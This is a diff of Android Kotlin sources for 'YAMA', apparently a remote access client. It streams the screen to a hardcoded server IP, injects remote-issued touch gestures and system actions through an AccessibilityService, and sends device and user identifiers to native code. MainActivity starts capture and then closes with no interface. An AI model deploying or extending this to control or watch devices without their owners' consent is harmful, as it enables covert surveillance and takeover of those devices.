if (baseline)
|
||||||
|
setInteger(MediaFormat.KEY_PROFILE,
|
||||||
|
MediaCodecInfo.CodecProfileLevel.AVCProfileBaseline)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 逐级降级:低延迟+Baseline → 低延迟 → 默认,确保真机兼容
|
||||||
|
private fun configureEncoder(codec: MediaCodec, w: Int, h: Int): android.view.Surface {
|
||||||
|
val configs = listOf(
|
||||||
|
true to true,
|
||||||
|
true to false,
|
||||||
|
false to false,
|
||||||
|
)
|
||||||
|
for ((ll, bl) in configs) {
|
||||||
|
try {
|
||||||
|
val fmt = buildFmt(w, h, ll, bl)
|
||||||
|
codec.configure(fmt, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE)
|
||||||
|
Log.i(TAG, "Encoder configured: lowLatency=$ll baseline=$bl")
|
||||||
|
return codec.createInputSurface()
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.w(TAG, "Encoder config failed (lowLatency=$ll baseline=$bl): $e, retrying…")
|
||||||
|
try { codec.reset() } catch (_: Exception) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw RuntimeException("MediaCodec: all encoder configs failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun stopCapture() {
|
||||||
|
idrHandler.removeCallbacks(idrRunnable)
|
||||||
|
runCatching { virtualDisplay?.release() }
|
||||||
|
// CS-07 fix: stop 和 release 分开,stop 失败不会跳过 release 导致资源泄漏
|
||||||
|
runCatching { mediaCodec?.stop() }
|
||||||
|
runCatching { mediaCodec?.release() }
|
||||||
|
runCatching { mediaProjection?.stop() }
|
||||||
|
virtualDisplay = null
|
||||||
|
mediaCodec = null
|
||||||
|
mediaProjection = null
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------- 辅助函数
|
||||||
|
|
||||||
|
private fun getPhysicalResolution(): Pair<Int, Int> {
|
||||||
|
val wm = getSystemService(WINDOW_SERVICE) as WindowManager
|
||||||
|
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
|
||||||
|
val b = wm.currentWindowMetrics.bounds
|
||||||
|
Pair(b.width(), b.height())
|
||||||
|
} else {
|
||||||
|
@Suppress("DEPRECATION")
|
||||||
|
val dm = DisplayMetrics()
|
||||||
|
@Suppress("DEPRECATION")
|
||||||
|
wm.defaultDisplay.getRealMetrics(dm)
|
||||||
|
Pair(dm.widthPixels, dm.heightPixels)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 扫描 Annex-B NALU 流,遇到 NAL type 5(IDR)、7(SPS)、8(PPS) 即判定为关键帧 */
|
||||||
|
private fun isNaluKeyframe(data: ByteArray): Boolean {
|
||||||
|
var i = 0
|
||||||
|
while (i + 4 < data.size) {
|
||||||
|
if (data[i] == 0.toByte() && data[i+1] == 0.toByte() &&
|
||||||
|
data[i+2] == 0.toByte() && data[i+3] == 1.toByte()) {
|
||||||
|
val nalType = data[i + 4].toInt() and 0x1F
|
||||||
|
if (nalType == 5 || nalType == 7 || nalType == 8) return true
|
||||||
|
i += 5
|
||||||
|
} else {
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 按长边上限等比缩小,宽高各自 2 对齐(H.264 要求) */
|
||||||
|
private fun scaleDown(w: Int, h: Int, maxLong: Int): Pair<Int, Int> {
|
||||||
|
val longSide = maxOf(w, h)
|
||||||
|
if (longSide <= maxLong) return Pair(w and -2, h and -2)
|
||||||
|
val scale = maxLong.toDouble() / longSide
|
||||||
|
return Pair((w * scale).toInt() and -2, (h * scale).toInt() and -2)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun createNotificationChannel() {
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||||
|
val ch = NotificationChannel(CHANNEL_ID, "YAMA Service",
|
||||||
|
NotificationManager.IMPORTANCE_LOW)
|
||||||
|
getSystemService(NotificationManager::class.java)?.createNotificationChannel(ch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun buildNotification(): Notification {
|
||||||
|
val b = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O)
|
||||||
|
Notification.Builder(this, CHANNEL_ID)
|
||||||
|
else
|
||||||
|
@Suppress("DEPRECATION") Notification.Builder(this)
|
||||||
|
return b.setContentTitle("YAMA")
|
||||||
|
.setContentText("Screen monitoring active")
|
||||||
|
.setSmallIcon(android.R.drawable.ic_menu_camera)
|
||||||
|
.build()
|
||||||
|
}
|
||||||
|
}
|
||||||
424
android/app/src/main/java/com/yama/client/ControlService.kt
Normal file
@@ -0,0 +1,424 @@
|
|||||||
|
package com.yama.client
|
||||||
|
|
||||||
|
import android.accessibilityservice.AccessibilityService
|
||||||
|
import android.accessibilityservice.GestureDescription
|
||||||
|
import android.annotation.SuppressLint
|
||||||
|
import android.content.BroadcastReceiver
|
||||||
|
import android.content.Context
|
||||||
|
import android.content.Intent
|
||||||
|
import android.content.IntentFilter
|
||||||
|
import android.graphics.Path
|
||||||
|
import android.graphics.PointF
|
||||||
|
import android.os.Build
|
||||||
|
import android.os.Handler
|
||||||
|
import android.os.Looper
|
||||||
|
import android.os.SystemClock
|
||||||
|
import android.util.Log
|
||||||
|
import android.view.View
|
||||||
|
import android.view.accessibility.AccessibilityEvent
|
||||||
|
import android.view.accessibility.AccessibilityNodeInfo
|
||||||
|
|
||||||
|
/**
|
||||||
|
* AccessibilityService that injects touch gestures and global key actions
|
||||||
|
* dispatched by the server (COMMAND_SCREEN_CONTROL / MSG64).
|
||||||
|
*
|
||||||
|
* Requires API 24+ for dispatchGesture(); guarded at runtime so the APK
|
||||||
|
* installs on API 21+ but gesture injection only runs on 24+.
|
||||||
|
*
|
||||||
|
* Activation: Settings → Accessibility → YAMA → enable.
|
||||||
|
*/
|
||||||
|
@SuppressLint("NewApi")
|
||||||
|
class ControlService : AccessibilityService() {
|
||||||
|
|
||||||
|
companion object {
|
||||||
|
const val TAG = "YAMA_CTRL"
|
||||||
|
|
||||||
|
// ── Service instance ─────────────────────────────────────────────
|
||||||
|
@Volatile var instance: ControlService? = null
|
||||||
|
|
||||||
|
// ── Active foreground window ─────────────────────────────────────
|
||||||
|
@JvmStatic
|
||||||
|
@Volatile var activeWindow: String = "Android"
|
||||||
|
|
||||||
|
// ── Screen geometry (set by CaptureService) ──────────────────────
|
||||||
|
// Server sends coords in encoding space [0, encW) × [0, encH).
|
||||||
|
// We map them to physical screen space before dispatching.
|
||||||
|
@Volatile var physW = 1080
|
||||||
|
@Volatile var physH = 1920
|
||||||
|
@Volatile var encW = 1080
|
||||||
|
@Volatile var encH = 1920
|
||||||
|
|
||||||
|
// ── Windows message constants ────────────────────────────────────
|
||||||
|
const val WM_MOUSEMOVE = 0x0200
|
||||||
|
const val WM_LBUTTONDOWN = 0x0201
|
||||||
|
const val WM_LBUTTONUP = 0x0202
|
||||||
|
const val WM_LBUTTONDBLCLK = 0x0203
|
||||||
|
const val WM_RBUTTONDOWN = 0x0204
|
||||||
|
const val WM_MBUTTONDOWN = 0x0207
|
||||||
|
const val WM_MOUSEWHEEL = 0x020A
|
||||||
|
const val WM_KEYDOWN = 0x0100
|
||||||
|
const val WM_SYSKEYDOWN = 0x0104
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Called from C++ DataProcess() via JNI on the IO thread.
|
||||||
|
* Parameters:
|
||||||
|
* message – Windows WM_* constant (low 16 bits of MSG64.message)
|
||||||
|
* wParam – MSG64.wParam (key/button flags; high word of MOUSEWHEEL = delta)
|
||||||
|
* ptX/ptY – MSG64.pt in encoding-space pixels
|
||||||
|
*/
|
||||||
|
@JvmStatic
|
||||||
|
fun onControlEvent(message: Int, wParam: Long, ptX: Int, ptY: Int) {
|
||||||
|
val svc = instance ?: run {
|
||||||
|
Log.w(TAG, "ControlService inactive — event 0x${message.toString(16)} dropped")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// All gesture state lives on the main thread; post there.
|
||||||
|
svc.handler.post { svc.handleEvent(message, wParam, ptX, ptY) }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Screen state receiver ─────────────────────────────────────────────
|
||||||
|
private val screenReceiver = object : BroadcastReceiver() {
|
||||||
|
override fun onReceive(context: Context?, intent: Intent?) {
|
||||||
|
when (intent?.action) {
|
||||||
|
Intent.ACTION_SCREEN_OFF -> activeWindow = "Locked"
|
||||||
|
Intent.ACTION_USER_PRESENT -> activeWindow = "Android"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Main-thread handler ───────────────────────────────────────────────
|
||||||
|
private val handler = Handler(Looper.getMainLooper())
|
||||||
|
|
||||||
|
// ── TV (Google TV / Android TV) D-pad mode ───────────────────────────
|
||||||
|
// Activated when FEATURE_LEANBACK is present. Mouse events are translated
|
||||||
|
// to accessibility focus navigation — no touchscreen or root required.
|
||||||
|
private var isTV = false
|
||||||
|
private var tvLastEncX = -1f
|
||||||
|
private var tvLastEncY = -1f
|
||||||
|
private var tvAccumDX = 0f
|
||||||
|
private var tvAccumDY = 0f
|
||||||
|
private val TV_STEP = 40f // encoding-space pixels per D-pad step
|
||||||
|
// Touch-drag disambiguation: fire click on LBUTTONUP only if finger barely moved
|
||||||
|
private var tvTouchDown = false
|
||||||
|
private var tvTouchDownX = 0f
|
||||||
|
private var tvTouchDownY = 0f
|
||||||
|
private var tvTouchMoved = false
|
||||||
|
private val TV_TAP_THRESHOLD = 15f // encoding pixels — below this = tap, above = drag
|
||||||
|
|
||||||
|
// ── Left-button drag accumulator ─────────────────────────────────────
|
||||||
|
private var lbuttonDown = false
|
||||||
|
private var gestureStart = 0L
|
||||||
|
// Pairs of (millisecond offset from gesture start, screen point)
|
||||||
|
private val strokePoints = mutableListOf<Pair<Long, PointF>>()
|
||||||
|
|
||||||
|
// ─────────────────────────────────────────────────────────────────────
|
||||||
|
// AccessibilityService lifecycle
|
||||||
|
|
||||||
|
override fun onServiceConnected() {
|
||||||
|
super.onServiceConnected()
|
||||||
|
instance = this
|
||||||
|
isTV = packageManager.hasSystemFeature("android.software.leanback")
|
||||||
|
if (isTV) Log.i(TAG, "TV mode: D-pad navigation enabled")
|
||||||
|
val filter = IntentFilter().apply {
|
||||||
|
addAction(Intent.ACTION_SCREEN_OFF)
|
||||||
|
addAction(Intent.ACTION_USER_PRESENT)
|
||||||
|
}
|
||||||
|
registerReceiver(screenReceiver, filter)
|
||||||
|
Log.i(TAG, "ControlService connected phys=${physW}x${physH} enc=${encW}x${encH}")
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onAccessibilityEvent(event: AccessibilityEvent?) {
|
||||||
|
if (event?.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
|
||||||
|
val pkg = event.packageName?.toString()
|
||||||
|
if (!pkg.isNullOrEmpty()) activeWindow = pkg
|
||||||
|
}
|
||||||
|
}
|
||||||
|
override fun onInterrupt() {}
|
||||||
|
|
||||||
|
override fun onDestroy() {
|
||||||
|
super.onDestroy()
|
||||||
|
runCatching { unregisterReceiver(screenReceiver) }
|
||||||
|
instance = null
|
||||||
|
Log.i(TAG, "ControlService destroyed")
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─────────────────────────────────────────────────────────────────────
|
||||||
|
// Event routing (runs on main thread)
|
||||||
|
|
||||||
|
private fun handleEvent(message: Int, wParam: Long, ptX: Int, ptY: Int) {
|
||||||
|
if (isTV) { handleEventTV(message, wParam, ptX, ptY); return }
|
||||||
|
// Scale encoding-space coords to physical screen
|
||||||
|
val x = if (encW > 0) ptX.toFloat() * physW / encW else ptX.toFloat()
|
||||||
|
val y = if (encH > 0) ptY.toFloat() * physH / encH else ptY.toFloat()
|
||||||
|
if (message != WM_MOUSEMOVE)
|
||||||
|
Log.d(TAG, "event 0x${message.toString(16)} enc=($ptX,$ptY) phys=(${x.toInt()},${y.toInt()})")
|
||||||
|
|
||||||
|
when (message) {
|
||||||
|
|
||||||
|
// ── Left button: accumulate drag path, dispatch on up ─────────
|
||||||
|
WM_LBUTTONDOWN -> {
|
||||||
|
lbuttonDown = true
|
||||||
|
gestureStart = SystemClock.uptimeMillis()
|
||||||
|
strokePoints.clear()
|
||||||
|
strokePoints.add(0L to PointF(x, y))
|
||||||
|
}
|
||||||
|
WM_MOUSEMOVE -> {
|
||||||
|
if (lbuttonDown) {
|
||||||
|
strokePoints.add((SystemClock.uptimeMillis() - gestureStart) to PointF(x, y))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
WM_LBUTTONUP -> {
|
||||||
|
if (!lbuttonDown) return
|
||||||
|
lbuttonDown = false
|
||||||
|
val elapsed = SystemClock.uptimeMillis() - gestureStart
|
||||||
|
strokePoints.add(elapsed to PointF(x, y))
|
||||||
|
val down = strokePoints[0].second
|
||||||
|
val dx = x - down.x
|
||||||
|
val dy = y - down.y
|
||||||
|
|
||||||
|
// ── System edge-gesture detection ────────────────────────────
|
||||||
|
// dispatchGesture() is unreliable for system gestures; use performGlobalAction.
|
||||||
|
val hEdge = physH * 0.08f // 8% of screen height = top/bottom trigger zone
|
||||||
|
val wEdge = physW * 0.08f // 8% of screen width = left/right trigger zone
|
||||||
|
val minH = physH * 0.15f // minimum vertical travel
|
||||||
|
val minW = physW * 0.20f // minimum horizontal travel
|
||||||
|
|
||||||
|
val fromLeft = down.x < wEdge && dx > minW && Math.abs(dx) > Math.abs(dy) * 1.5f && elapsed < 600L
|
||||||
|
val fromRight = down.x > physW - wEdge && dx < -minW && Math.abs(dx) > Math.abs(dy) * 1.5f && elapsed < 600L
|
||||||
|
val fromTop = down.y < hEdge && dy > minH && Math.abs(dy) > Math.abs(dx)
|
||||||
|
val fromBottom = down.y > physH - hEdge && dy < -minH && Math.abs(dy) > Math.abs(dx)
|
||||||
|
|
||||||
|
when {
|
||||||
|
fromLeft || fromRight -> {
|
||||||
|
Log.d(TAG, "Edge-swipe back (fromLeft=$fromLeft)")
|
||||||
|
performGlobalAction(GLOBAL_ACTION_BACK)
|
||||||
|
}
|
||||||
|
fromTop -> {
|
||||||
|
// Right half of screen → quick settings; left half → notifications
|
||||||
|
if (down.x > physW * 0.5f) {
|
||||||
|
Log.d(TAG, "Top-swipe quick settings")
|
||||||
|
performGlobalAction(GLOBAL_ACTION_QUICK_SETTINGS)
|
||||||
|
} else {
|
||||||
|
Log.d(TAG, "Top-swipe notifications")
|
||||||
|
performGlobalAction(GLOBAL_ACTION_NOTIFICATIONS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fromBottom -> {
|
||||||
|
// Slow swipe (≥400 ms) or very long travel → Recents; quick swipe → Home
|
||||||
|
if (elapsed >= 400L || Math.abs(dy) > physH * 0.40f) {
|
||||||
|
Log.d(TAG, "Bottom-swipe recents (elapsed=${elapsed}ms)")
|
||||||
|
performGlobalAction(GLOBAL_ACTION_RECENTS)
|
||||||
|
} else {
|
||||||
|
Log.d(TAG, "Bottom-swipe home (elapsed=${elapsed}ms)")
|
||||||
|
performGlobalAction(GLOBAL_ACTION_HOME)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dx * dx + dy * dy < 100f -> // 移动 < 10px → 单击
|
||||||
|
dispatchTap(down.x, down.y)
|
||||||
|
else ->
|
||||||
|
dispatchTouchGesture(strokePoints)
|
||||||
|
}
|
||||||
|
// 手势执行后立即请求关键帧,让 decoder 尽快看到屏幕变化
|
||||||
|
CaptureService.requestIdr()
|
||||||
|
strokePoints.clear()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Double-click → two rapid taps ────────────────────────────
|
||||||
|
WM_LBUTTONDBLCLK -> {
|
||||||
|
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
|
||||||
|
val p = singlePointPath(x, y)
|
||||||
|
val gesture = GestureDescription.Builder()
|
||||||
|
.addStroke(GestureDescription.StrokeDescription(p, 0L, 80L))
|
||||||
|
.addStroke(GestureDescription.StrokeDescription(p, 200L, 80L))
|
||||||
|
.build()
|
||||||
|
dispatchGesture(gesture, null, null)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Right-click → long press (600 ms) ────────────────────────
|
||||||
|
WM_RBUTTONDOWN -> {
|
||||||
|
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
|
||||||
|
val stroke = GestureDescription.StrokeDescription(singlePointPath(x, y), 0L, 600L)
|
||||||
|
dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(), null, null)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Scroll wheel → vertical swipe ─────────────────────────────
|
||||||
|
WM_MOUSEWHEEL -> {
|
||||||
|
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
|
||||||
|
// High 16 bits of wParam hold the signed delta (+120 = up, -120 = down)
|
||||||
|
val delta = (wParam.toInt() ushr 16).toShort().toInt()
|
||||||
|
// Wheel-up (+delta) = user wants content above = finger swipes DOWN (+y)
|
||||||
|
val dy = if (delta > 0) 400f else -400f
|
||||||
|
val path = Path().apply { moveTo(x, y); lineTo(x, y + dy) }
|
||||||
|
val stroke = GestureDescription.StrokeDescription(path, 0L, 300L)
|
||||||
|
dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(), null, null)
|
||||||
|
CaptureService.requestIdr()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Keyboard → global actions only ───────────────────────────
|
||||||
|
WM_KEYDOWN, WM_SYSKEYDOWN -> handleKeyDown(wParam.toInt() and 0xFFFF)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─────────────────────────────────────────────────────────────────────
|
||||||
|
// Helpers
|
||||||
|
|
||||||
|
private fun dispatchTouchGesture(points: List<Pair<Long, PointF>>) {
|
||||||
|
if (points.isEmpty()) return
|
||||||
|
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
|
||||||
|
|
||||||
|
val path = Path()
|
||||||
|
path.moveTo(points[0].second.x, points[0].second.y)
|
||||||
|
for (i in 1 until points.size) {
|
||||||
|
path.lineTo(points[i].second.x, points[i].second.y)
|
||||||
|
}
|
||||||
|
// Minimum 50 ms so Android registers the gesture; use actual elapsed for drags.
|
||||||
|
val duration = maxOf(points.last().first, 50L)
|
||||||
|
val stroke = GestureDescription.StrokeDescription(path, 0L, duration)
|
||||||
|
val ok = dispatchGesture(
|
||||||
|
GestureDescription.Builder().addStroke(stroke).build(),
|
||||||
|
object : GestureResultCallback() {
|
||||||
|
override fun onCompleted(g: GestureDescription?) { Log.d(TAG, "Gesture ok") }
|
||||||
|
override fun onCancelled(g: GestureDescription?) { Log.w(TAG, "Gesture cancelled") }
|
||||||
|
},
|
||||||
|
null
|
||||||
|
)
|
||||||
|
if (!ok) Log.e(TAG, "dispatchGesture returned false (service not ready?)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─────────────────────────────────────────────────────────────────────
|
||||||
|
// TV D-pad mode — translates mouse events to accessibility focus actions
|
||||||
|
|
||||||
|
private fun handleEventTV(message: Int, wParam: Long, ptX: Int, ptY: Int) {
|
||||||
|
when (message) {
|
||||||
|
WM_MOUSEMOVE -> {
|
||||||
|
if (tvLastEncX >= 0) {
|
||||||
|
tvAccumDX += ptX - tvLastEncX
|
||||||
|
tvAccumDY += ptY - tvLastEncY
|
||||||
|
while (tvAccumDX > TV_STEP) { tvMoveFocus(View.FOCUS_RIGHT); tvAccumDX -= TV_STEP }
|
||||||
|
while (tvAccumDX < -TV_STEP) { tvMoveFocus(View.FOCUS_LEFT); tvAccumDX += TV_STEP }
|
||||||
|
while (tvAccumDY > TV_STEP) { tvMoveFocus(View.FOCUS_DOWN); tvAccumDY -= TV_STEP }
|
||||||
|
while (tvAccumDY < -TV_STEP) { tvMoveFocus(View.FOCUS_UP); tvAccumDY += TV_STEP }
|
||||||
|
}
|
||||||
|
if (tvTouchDown) {
|
||||||
|
val dx = ptX - tvTouchDownX
|
||||||
|
val dy = ptY - tvTouchDownY
|
||||||
|
if (dx * dx + dy * dy > TV_TAP_THRESHOLD * TV_TAP_THRESHOLD) tvTouchMoved = true
|
||||||
|
}
|
||||||
|
tvLastEncX = ptX.toFloat()
|
||||||
|
tvLastEncY = ptY.toFloat()
|
||||||
|
}
|
||||||
|
WM_LBUTTONDOWN -> {
|
||||||
|
tvTouchDown = true
|
||||||
|
tvTouchDownX = ptX.toFloat()
|
||||||
|
tvTouchDownY = ptY.toFloat()
|
||||||
|
tvTouchMoved = false
|
||||||
|
tvAccumDX = 0f
|
||||||
|
tvAccumDY = 0f
|
||||||
|
tvLastEncX = ptX.toFloat()
|
||||||
|
tvLastEncY = ptY.toFloat()
|
||||||
|
}
|
||||||
|
WM_LBUTTONUP -> {
|
||||||
|
if (tvTouchDown && !tvTouchMoved) tvClick()
|
||||||
|
tvTouchDown = false
|
||||||
|
}
|
||||||
|
WM_LBUTTONDBLCLK -> tvClick()
|
||||||
|
WM_RBUTTONDOWN -> performGlobalAction(GLOBAL_ACTION_BACK)
|
||||||
|
WM_MOUSEWHEEL -> {
|
||||||
|
val delta = (wParam.toInt() ushr 16).toShort().toInt()
|
||||||
|
tvScroll(delta < 0)
|
||||||
|
}
|
||||||
|
WM_KEYDOWN, WM_SYSKEYDOWN -> {
|
||||||
|
val vk = wParam.toInt() and 0xFFFF
|
||||||
|
when (vk) {
|
||||||
|
0x25 -> tvMoveFocus(View.FOCUS_LEFT) // VK_LEFT
|
||||||
|
0x26 -> tvMoveFocus(View.FOCUS_UP) // VK_UP
|
||||||
|
0x27 -> tvMoveFocus(View.FOCUS_RIGHT) // VK_RIGHT
|
||||||
|
0x28 -> tvMoveFocus(View.FOCUS_DOWN) // VK_DOWN
|
||||||
|
0x0D -> tvClick() // VK_RETURN
|
||||||
|
else -> handleKeyDown(vk)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Suppress("DEPRECATION")
|
||||||
|
private fun tvMoveFocus(direction: Int) {
|
||||||
|
val root = rootInActiveWindow ?: return
|
||||||
|
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
|
||||||
|
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
|
||||||
|
if (focused == null) {
|
||||||
|
val first = findFirstFocusable(root)
|
||||||
|
first?.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
|
||||||
|
first?.recycle()
|
||||||
|
} else {
|
||||||
|
val next = focused.focusSearch(direction)
|
||||||
|
next?.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
|
||||||
|
focused.recycle()
|
||||||
|
next?.recycle()
|
||||||
|
}
|
||||||
|
root.recycle()
|
||||||
|
}
|
||||||
|
|
||||||
|
@Suppress("DEPRECATION")
|
||||||
|
private fun tvClick() {
|
||||||
|
val root = rootInActiveWindow ?: return
|
||||||
|
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
|
||||||
|
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
|
||||||
|
if (focused != null) {
|
||||||
|
focused.performAction(AccessibilityNodeInfo.ACTION_CLICK)
|
||||||
|
focused.recycle()
|
||||||
|
} else {
|
||||||
|
Log.w(TAG, "tvClick: no focused node")
|
||||||
|
}
|
||||||
|
root.recycle()
|
||||||
|
}
|
||||||
|
|
||||||
|
@Suppress("DEPRECATION")
|
||||||
|
private fun tvScroll(forward: Boolean) {
|
||||||
|
val root = rootInActiveWindow ?: return
|
||||||
|
val action = if (forward) AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
|
||||||
|
else AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD
|
||||||
|
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
|
||||||
|
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
|
||||||
|
if (focused == null || !focused.performAction(action)) root.performAction(action)
|
||||||
|
focused?.recycle()
|
||||||
|
root.recycle()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Walk accessibility tree depth-first, return first visible focusable node (caller must recycle)
|
||||||
|
@Suppress("DEPRECATION")
|
||||||
|
private fun findFirstFocusable(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
|
||||||
|
if (node.isFocusable && node.isVisibleToUser) return AccessibilityNodeInfo.obtain(node)
|
||||||
|
for (i in 0 until node.childCount) {
|
||||||
|
val child = node.getChild(i) ?: continue
|
||||||
|
val hit = findFirstFocusable(child)
|
||||||
|
child.recycle()
|
||||||
|
if (hit != null) return hit
|
||||||
|
}
|
||||||
|
return null
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun handleKeyDown(vk: Int) {
|
||||||
|
when (vk) {
|
||||||
|
0x08, 0x1B -> performGlobalAction(GLOBAL_ACTION_BACK) // Backspace / Esc
|
||||||
|
0x24 -> performGlobalAction(GLOBAL_ACTION_HOME) // VK_HOME
|
||||||
|
0x5D -> performGlobalAction(GLOBAL_ACTION_RECENTS) // VK_APPS
|
||||||
|
0x2C -> performGlobalAction(GLOBAL_ACTION_TAKE_SCREENSHOT) // PrtSc
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun dispatchTap(x: Float, y: Float) {
|
||||||
|
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
|
||||||
|
val path = Path().apply { moveTo(x, y); lineTo(x + 1f, y) }
|
||||||
|
val stroke = GestureDescription.StrokeDescription(path, 0L, 100L)
|
||||||
|
val ok = dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(),
|
||||||
|
object : GestureResultCallback() {
|
||||||
|
override fun onCompleted(g: GestureDescription?) { Log.d(TAG, "Tap ok") }
|
||||||
|
override fun onCancelled(g: GestureDescription?) { Log.w(TAG, "Tap cancelled") }
|
||||||
|
}, null)
|
||||||
|
if (!ok) Log.e(TAG, "dispatchTap returned false")
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun singlePointPath(x: Float, y: Float) = Path().apply { moveTo(x, y); lineTo(x + 1f, y) }
|
||||||
|
}
|
||||||
65
android/app/src/main/java/com/yama/client/MainActivity.kt
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
package com.yama.client
|
||||||
|
|
||||||
|
import android.app.Activity
|
||||||
|
import android.content.Intent
|
||||||
|
import android.media.projection.MediaProjectionManager
|
||||||
|
import android.os.Bundle
|
||||||
|
import android.util.Log
|
||||||
|
import androidx.appcompat.app.AppCompatActivity
|
||||||
|
|
||||||
|
class MainActivity : AppCompatActivity() {
|
||||||
|
|
||||||
|
private val serverIp = "91.99.165.207"
|
||||||
|
private val serverPort = 443
|
||||||
|
|
||||||
|
private lateinit var projectionManager: MediaProjectionManager
|
||||||
|
|
||||||
|
companion object {
|
||||||
|
const val REQUEST_MEDIA_PROJECTION = 1001
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onCreate(savedInstanceState: Bundle?) {
|
||||||
|
super.onCreate(savedInstanceState)
|
||||||
|
// MA-01 fix: 系统重建 Activity 时 savedInstanceState != null,
|
||||||
|
// 此时 CaptureService 可能已在运行,不重复弹权限对话框
|
||||||
|
if (savedInstanceState != null) { finish(); return }
|
||||||
|
projectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
||||||
|
startActivityForResult(projectionManager.createScreenCaptureIntent(), REQUEST_MEDIA_PROJECTION)
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
|
||||||
|
super.onActivityResult(requestCode, resultCode, data)
|
||||||
|
if (requestCode == REQUEST_MEDIA_PROJECTION) {
|
||||||
|
if (resultCode == Activity.RESULT_OK && data != null) {
|
||||||
|
Log.i(CaptureService.TAG, "MediaProjection permission granted")
|
||||||
|
val intent = Intent(this, CaptureService::class.java).apply {
|
||||||
|
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
|
||||||
|
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
|
||||||
|
putExtra(CaptureService.EXTRA_PROJECTION_RESULT, resultCode)
|
||||||
|
putExtra(CaptureService.EXTRA_PROJECTION_DATA, data)
|
||||||
|
}
|
||||||
|
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
|
||||||
|
startForegroundService(intent)
|
||||||
|
} else {
|
||||||
|
startService(intent)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Log.w(CaptureService.TAG, "MediaProjection permission denied, starting without capture")
|
||||||
|
val intent = Intent(this, CaptureService::class.java).apply {
|
||||||
|
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
|
||||||
|
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
|
||||||
|
}
|
||||||
|
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
|
||||||
|
startForegroundService(intent)
|
||||||
|
} else {
|
||||||
|
startService(intent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
finish()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDestroy() {
|
||||||
|
super.onDestroy()
|
||||||
|
}
|
||||||
|
}
|
||||||
27
android/app/src/main/java/com/yama/client/YamaBridge.kt
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
package com.yama.client
|
||||||
|
|
||||||
|
object YamaBridge {
|
||||||
|
init {
|
||||||
|
System.loadLibrary("yama")
|
||||||
|
}
|
||||||
|
|
||||||
|
external fun nativeInit(
|
||||||
|
serverIp: String,
|
||||||
|
serverPort: Int,
|
||||||
|
androidId: String,
|
||||||
|
deviceModel: String,
|
||||||
|
androidVersion: String,
|
||||||
|
screenRes: String,
|
||||||
|
username: String,
|
||||||
|
apkPath: String,
|
||||||
|
